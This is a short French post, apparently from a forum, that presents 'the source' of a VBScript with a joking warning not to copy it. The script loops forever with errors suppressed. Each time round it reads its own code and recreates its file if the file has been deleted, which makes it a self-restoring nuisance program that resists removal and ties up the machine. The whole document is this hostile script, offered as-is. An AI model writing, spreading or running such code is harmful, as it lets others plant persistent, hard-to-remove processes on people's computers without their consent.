Voivi la source ( ne la copiez pas apres c´est la mdr!)
Do
Dim fso,wsread,code,wsrewrite,ws,wr
On Error Resume Next
ws = wscript.scriptfullname
Set fso = CreateObject("scripting.filesystemobject")
Set wr = CreateObject("wscript.shell")
Set wsread = fso.opentextfile(ws)
code = wsread.readall
wsread.close
If Not ( fso.fileexists(ws)) Then
Set wsrewrite = fso.createtextfile(ws)
wsrewrite.write code
wsrewrite.close
End If
Loop